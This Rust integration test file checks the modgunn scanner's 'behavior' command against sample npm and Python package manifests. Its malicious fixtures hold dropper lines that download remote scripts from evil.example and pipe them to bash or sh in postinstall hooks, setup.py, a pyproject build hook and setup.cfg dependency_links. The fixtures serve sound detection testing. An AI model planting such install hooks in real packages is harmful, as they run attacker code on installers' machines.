tests/cli_behavior.rs
//! End-to-end CLI test for the `modgunn behavior` verb — the flag-parsing +
//! ecosystem-dispatch + `parse_npm_package` / `parse_pypi_setup` /
//! `parse_pyproject_toml` / `parse_setup_cfg` fold + findings-print +
//! `--fail-on-finding` gate path in `src/main.rs` that the library-level `behavior`
//! unit tests never touch as one flow.
//!
//! Writes real-shaped `package.json` / `setup.py` / `pyproject.toml` / `setup.cfg`
//! fixtures to a scratch dir, then
//! DRIVES the compiled binary (`CARGO_BIN_EXE_modgunn`) over each ecosystem. Fully
//! offline, zero-shell, **no code executed** — the fixtures are only read as text.
//!
//! Gated on `warehouse` (the binary's `required-features`, without which
//! `CARGO_BIN_EXE_modgunn` is not built — `behavior` itself only needs `scan`, which
//! `warehouse` implies transitively via the default). Run:
//! `cargo test --features "warehouse manifests test-support" --test cli_behavior`.
#![cfg(feature = "warehouse")]
use std::path::PathBuf;
use std::process::Command;
use std::time::{SystemTime, UNIX_EPOCH};
/// A unique scratch directory under the system temp root.
fn temp_dir(tag: &str) -> PathBuf {
let nanos = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_nanos();
let dir = std::env::temp_dir().join(format!("modgunn-behavior-{tag}-{nanos}"));
std::fs::create_dir_all(&dir).unwrap();
dir
}
/// Run the compiled `modgunn` binary with `args`; return `(stdout, stderr, code)`.
fn run(args: &[&str]) -> (String, String, i32) {
let out = Command::new(env!("CARGO_BIN_EXE_modgunn"))
.args(args)
.output()
.expect("spawn modgunn binary");
(
String::from_utf8_lossy(&out.stdout).into_owned(),
String::from_utf8_lossy(&out.stderr).into_owned(),
out.status.code().unwrap_or(-1),
)
}
/// A malicious npm `package.json`: a `postinstall` dropper that `curl`s a URL and
/// pipes it to `bash`. The whole malware vector in one auto-run hook.
const NPM_DROPPER: &str = r#"{
"name": "left-pad-helper",
"version": "9.9.9",
"scripts": {
"postinstall": "curl -s https://evil.example/stage2.sh | bash",
"test": "echo ok"
}
}"#;
/// A malicious PyPI `setup.py`: fetches a payload (`urllib.request.urlopen`) and runs
/// it (`os.system`) at `pip install` from the sdist — no cmdclass needed.
const PYPI_DROPPER: &str = r#"
from setuptools import setup
import os, urllib.request
urllib.request.urlopen("https://evil.example/x.py")
os.system("sh -c 'curl https://evil.example/run | sh'")
setup(name="totally-legit-utils", version="1.0.0", packages=["utils"])
"#;
/// A benign npm package with only a user-invoked `build`/`test` script and no
/// install hook — the false-positive guard.
const NPM_BENIGN: &str = r#"{
"name": "honest-lib",
"version": "1.2.3",
"scripts": { "build": "tsc", "test": "jest" }
}"#;
/// A benign declarative `pyproject.toml`: a `urllib3` dep and `https://` homepages
/// live in the DECLARATIVE `[project]` block — a naive whole-file scan would false-
/// positive `network_in_install`, the section-aware fold does not.
const PYPROJECT_BENIGN: &str = r#"
[build-system]
requires = ["setuptools>=61", "wheel"]
build-backend = "setuptools.build_meta"
[project]
name = "honest-tool"
version = "1.0.0"
dependencies = ["urllib3>=2", "requests"]
[project.urls]
Homepage = "https://honest.example/tool"
Repository = "https://github.com/honest/tool"
"#;
/// A malicious `pyproject.toml`: a build-hook table `curl`s a stage-2 payload and
/// pipes it to `bash` (in a build/install-active section, so it IS scanned).
const PYPROJECT_DROPPER: &str = r#"
[build-system]
requires = ["setuptools"]
build-backend = "_evil"
backend-path = ["."]
[project]
name = "totally-legit-utils"
dependencies = ["urllib3"]
[project.urls]
Homepage = "https://legit.example"
[tool.acme.build.hooks.custom]
command = "curl -s https://evil.example/stage2.sh | bash"
"#;
/// npm dropper `package.json` (inferred from the basename) folds to a **High**
/// network-in-install finding + the Low install-hook feature. RED-when-broken: the
/// High dropper label must reach stdout — if ecosystem dispatch, the npm parse, or the
/// severity fold breaks, this line is absent.
#[test]
fn behavior_npm_dropper_prints_high_network_finding() {
let dir = temp_dir("npm");
let pkg = dir.join("package.json");
std::fs::write(&pkg, NPM_DROPPER).unwrap();
let (stdout, stderr, code) = run(&["behavior", "--path", pkg.to_str().unwrap()]);
assert_eq!(code, 0, "exit 0 without --fail-on-finding; stderr={stderr}");
assert!(
stdout.contains("left-pad-helper"),
"subject line missing:\n{stdout}"
);
assert!(
stdout.contains("network_in_install=true"),
"network flag missing:\n{stdout}"
);
// The load-bearing High finding (RED-when-broken).
assert!(
stdout.contains("High") && stdout.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
"High dropper finding missing:\n{stdout}"
);
assert!(
stdout.contains("MODGUNN-BEHAVIOR-INSTALL-HOOK"),
"Low install-hook feature missing:\n{stdout}"
);
assert!(
stdout.contains("worst High"),
"worst-severity footer missing:\n{stdout}"
);
std::fs::remove_dir_all(&dir).ok();
}
/// PyPI dropper `setup.py` (inferred from the basename) folds — over the whole-file
/// text scan — to the **High** network-in-install finding. RED-when-broken on the
/// High label, as for npm but through the pypi front-end.
#[test]
fn behavior_pypi_dropper_prints_high_network_finding() {
let dir = temp_dir("pypi");
let setup = dir.join("setup.py");
std::fs::write(&setup, PYPI_DROPPER).unwrap();
let (stdout, stderr, code) = run(&["behavior", "--path", setup.to_str().unwrap()]);
assert_eq!(code, 0, "exit 0 without --fail-on-finding; stderr={stderr}");
assert!(
stdout.contains("totally-legit-utils"),
"name= subject not extracted:\n{stdout}"
);
assert!(
stdout.contains("High") && stdout.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
"High dropper finding missing:\n{stdout}"
);
std::fs::remove_dir_all(&dir).ok();
}
/// `--fail-on-finding` turns a suspicious package into a gate failure (exit 3), so a
/// promotion check can block on it. RED-when-broken: a dropper with the gate flag must
/// NOT exit 0 — if the gate is dropped, the process succeeds and this fails.
#[test]
fn behavior_fail_on_finding_gates_a_dropper() {
let dir = temp_dir("gate");
let pkg = dir.join("package.json");
std::fs::write(&pkg, NPM_DROPPER).unwrap();
let (_out, _err, code) = run(&[
"behavior",
"--path",
pkg.to_str().unwrap(),
"--fail-on-finding",
]);
assert_eq!(
code, 3,
"a dropper under --fail-on-finding must exit 3 (gate failure)"
);
std::fs::remove_dir_all(&dir).ok();
}
/// A benign package yields NO findings and exits 0 even WITH `--fail-on-finding` —
/// the false-positive guard for the gate (RED if the verb over-fires).
#[test]
fn behavior_benign_package_passes_the_gate() {
let dir = temp_dir("benign");
let pkg = dir.join("package.json");
std::fs::write(&pkg, NPM_BENIGN).unwrap();
let (stdout, stderr, code) = run(&[
"behavior",
"--path",
pkg.to_str().unwrap(),
"--fail-on-finding",
]);
assert_eq!(
code, 0,
"a benign package must pass --fail-on-finding; stderr={stderr}"
);
assert!(
stdout.contains("0 behavior finding(s)"),
"expected no findings:\n{stdout}"
);
std::fs::remove_dir_all(&dir).ok();
}
/// A benign declarative `pyproject.toml` (inferred from the basename) passes the gate
/// (exit 0) even WITH `--fail-on-finding` — the anti-false-positive guard for the
/// pyproject front-end. RED-when-broken: if the fold regresses to a whole-file scan,
/// the `[project]` `urllib3` dep + `https://` homepages trip `network_in_install`, a
/// High finding fires, and this exits 3.
#[test]
fn behavior_pyproject_benign_passes_the_gate() {
let dir = temp_dir("pyproject-benign");
let f = dir.join("pyproject.toml");
std::fs::write(&f, PYPROJECT_BENIGN).unwrap();
let (stdout, stderr, code) = run(&[
"behavior",
"--path",
f.to_str().unwrap(),
"--fail-on-finding",
]);
assert_eq!(
code, 0,
"a benign declarative pyproject must pass --fail-on-finding; stderr={stderr}"
);
assert!(
stdout.contains("network_in_install=false"),
"must not flag network:\n{stdout}"
);
assert!(
stdout.contains("0 behavior finding(s)"),
"expected no findings:\n{stdout}"
);
std::fs::remove_dir_all(&dir).ok();
}
/// A malicious `pyproject.toml` (inferred from the basename) whose build-hook table
/// fetches+execs a payload folds — through the section-aware scan — to the **High**
/// network-in-install finding + the install-hook Low. RED-when-broken on the High
/// label through the pyproject front-end.
#[test]
fn behavior_pyproject_dropper_prints_high_network_finding() {
let dir = temp_dir("pyproject-dropper");
let f = dir.join("pyproject.toml");
std::fs::write(&f, PYPROJECT_DROPPER).unwrap();
let (stdout, stderr, code) = run(&["behavior", "--path", f.to_str().unwrap()]);
assert_eq!(code, 0, "exit 0 without --fail-on-finding; stderr={stderr}");
assert!(
stdout.contains("totally-legit-utils"),
"declarative name not extracted:\n{stdout}"
);
assert!(
stdout.contains("network_in_install=true"),
"build-hook network flag missing:\n{stdout}"
);
assert!(
stdout.contains("High") && stdout.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
"High build-hook dropper finding missing:\n{stdout}"
);
assert!(
stdout.contains("MODGUNN-BEHAVIOR-INSTALL-HOOK"),
"Low install-hook feature missing:\n{stdout}"
);
assert!(
stdout.contains("worst High"),
"worst-severity footer missing:\n{stdout}"
);
std::fs::remove_dir_all(&dir).ok();
}
/// A benign declarative `setup.cfg`: `install_requires = urllib3` + a `[metadata] url =
/// https://…` — a naive whole-file scan would false-positive `network_in_install`, the
/// section-aware INI fold does not.
const SETUP_CFG_BENIGN: &str = r#"
[metadata]
name = honest-tool
version = 1.0.0
url = https://honest.example/tool
project_urls =
Homepage = https://honest.example/tool
[options]
python_requires = >=3.9
install_requires =
urllib3>=2
requests
"#;
/// A malicious `setup.cfg`: a build-time network fetch via `[options] dependency_links`
/// (URLs setuptools downloads at build) plus a `cmdclass` install override — both in
/// build/install-active keys, so they ARE scanned.
const SETUP_CFG_DROPPER: &str = r#"
[metadata]
name = totally-legit-utils
version = 1.0.0
url = https://legit.example
[options]
install_requires =
urllib3
dependency_links =
https://evil.example/stage2-1.0.tar.gz#egg=stage2
cmdclass =
install = _bootstrap:PostInstall
"#;
/// A benign declarative `setup.cfg` (inferred from the basename) passes the gate (exit
/// 0) even WITH `--fail-on-finding` — the anti-false-positive guard for the setup.cfg
/// front-end. RED-when-broken: if the fold regresses to a whole-file scan, the
/// `install_requires` `urllib3` + `[metadata] url = https://…` trip `network_in_install`,
/// a High finding fires, and this exits 3.
#[test]
fn behavior_setupcfg_benign_passes_the_gate() {
let dir = temp_dir("setupcfg-benign");
let f = dir.join("setup.cfg");
std::fs::write(&f, SETUP_CFG_BENIGN).unwrap();
let (stdout, stderr, code) = run(&[
"behavior",
"--path",
f.to_str().unwrap(),
"--fail-on-finding",
]);
assert_eq!(
code, 0,
"a benign declarative setup.cfg must pass --fail-on-finding; stderr={stderr}"
);
assert!(
stdout.contains("network_in_install=false"),
"must not flag network:\n{stdout}"
);
assert!(
stdout.contains("0 behavior finding(s)"),
"expected no findings:\n{stdout}"
);
std::fs::remove_dir_all(&dir).ok();
}
/// A malicious `setup.cfg` (inferred from the basename) whose `dependency_links` fetches
/// a payload folds — through the section-aware INI scan — to the **High**
/// network-in-install finding + the install-hook Low. RED-when-broken on the High label
/// through the setup.cfg front-end.
#[test]
fn behavior_setupcfg_dropper_prints_high_network_finding() {
let dir = temp_dir("setupcfg-dropper");
let f = dir.join("setup.cfg");
std::fs::write(&f, SETUP_CFG_DROPPER).unwrap();
let (stdout, stderr, code) = run(&["behavior", "--path", f.to_str().unwrap()]);
assert_eq!(code, 0, "exit 0 without --fail-on-finding; stderr={stderr}");
assert!(
stdout.contains("totally-legit-utils"),
"declarative name not extracted:\n{stdout}"
);
assert!(
stdout.contains("network_in_install=true"),
"dependency_links network flag missing:\n{stdout}"
);
assert!(
stdout.contains("High") && stdout.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
"High dependency_links dropper finding missing:\n{stdout}"
);
assert!(
stdout.contains("MODGUNN-BEHAVIOR-INSTALL-HOOK"),
"Low install-hook feature missing:\n{stdout}"
);
assert!(
stdout.contains("worst High"),
"worst-severity footer missing:\n{stdout}"
);
std::fs::remove_dir_all(&dir).ok();
}
/// `--subject` overrides the parsed name, and `--ecosystem` forces the parser
/// regardless of the basename (here a `.json` file read as npm under a chosen name).
#[test]
fn behavior_subject_and_ecosystem_overrides_apply() {
let dir = temp_dir("override");
let pkg = dir.join("weird-name.json");
std::fs::write(&pkg, NPM_DROPPER).unwrap();
let (stdout, stderr, code) = run(&[
"behavior",
"--path",
pkg.to_str().unwrap(),
"--ecosystem",
"npm",
"--subject",
"renamed-pkg",
]);
assert_eq!(code, 0, "exit 0; stderr={stderr}");
assert!(
stdout.contains("renamed-pkg"),
"subject override not applied:\n{stdout}"
);
assert!(
stdout.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
"forced npm parse missing:\n{stdout}"
);
std::fs::remove_dir_all(&dir).ok();
}
/// `behavior --warehouse` PERSISTS the analysis, and `warehouse behavior-log` reads it
/// back — the append→load round-trip driven end-to-end through the compiled binary.
/// RED-when-broken: the log must surface the SAME subject with a `verdict=High` and the
/// persisted `MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL` id; if the persist or read-back leg
/// drops the vector/verdict, the log line is absent or reads `clean` and this fails.
#[test]
fn behavior_persists_and_behavior_log_reads_it_back() {
let dir = temp_dir("wh-roundtrip");
let wh = dir.join("warehouse");
let pkg = dir.join("package.json");
std::fs::write(&pkg, NPM_DROPPER).unwrap();
// 1 · persist the dropper analysis into the warehouse.
let (stdout, stderr, code) = run(&[
"behavior",
"--path",
pkg.to_str().unwrap(),
"--warehouse",
wh.to_str().unwrap(),
]);
assert_eq!(code, 0, "persist exit 0; stderr={stderr}");
assert!(
stdout.contains("persisted into behavior_features"),
"the persist note is missing:\n{stdout}"
);
// 2 · read it back via the query verb — same subject, High verdict, the finding id.
let (log, logerr, logcode) = run(&[
"warehouse",
"behavior-log",
"--warehouse",
wh.to_str().unwrap(),
]);
assert_eq!(logcode, 0, "behavior-log exit 0; stderr={logerr}");
assert!(
log.contains("left-pad-helper"),
"persisted subject not read back:\n{log}"
);
assert!(
log.contains("verdict=High"),
"the persisted High verdict is missing:\n{log}"
);
assert!(
log.contains("MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
"the persisted finding id is missing:\n{log}"
);
assert!(log.contains("[npm"), "the ecosystem tag is missing:\n{log}");
assert!(
log.contains("1 behaviour analysis(es) (1 flagged)"),
"wrong summary:\n{log}"
);
// 3 · a --subject filter that matches nothing yields an empty log (no over-match).
let (empty, _e, ecode) = run(&[
"warehouse",
"behavior-log",
"--warehouse",
wh.to_str().unwrap(),
"--subject",
"no-such-pkg",
]);
assert_eq!(ecode, 0);
assert!(
empty.contains("0 behaviour analysis(es)"),
"filter should exclude all:\n{empty}"
);
std::fs::remove_dir_all(&dir).ok();
}
/// A file whose ecosystem cannot be inferred (unknown basename, no `--ecosystem`) is a
/// usage error (non-zero), not a silent guess — the negative RED-when-broken assertion.
#[test]
fn behavior_unknown_ecosystem_errors() {
let dir = temp_dir("unknown");
let f = dir.join("mystery.txt");
std::fs::write(&f, "whatever").unwrap();
let (_out, stderr, code) = run(&["behavior", "--path", f.to_str().unwrap()]);
assert_ne!(code, 0, "an un-inferrable ecosystem must fail");
assert!(
stderr.contains("--ecosystem"),
"expected an ecosystem-hint error:\n{stderr}"
);
std::fs::remove_dir_all(&dir).ok();
}
/// A missing file is a hard error (non-zero), never a silent success.
#[test]
fn behavior_missing_file_errors() {
let dir = temp_dir("missing");
let missing = dir.join("package.json");
let (_out, stderr, code) = run(&["behavior", "--path", missing.to_str().unwrap()]);
assert_ne!(code, 0, "a missing file must fail");
assert!(
stderr.contains("read"),
"expected a read error naming the file:\n{stderr}"
);
std::fs::remove_dir_all(&dir).ok();
}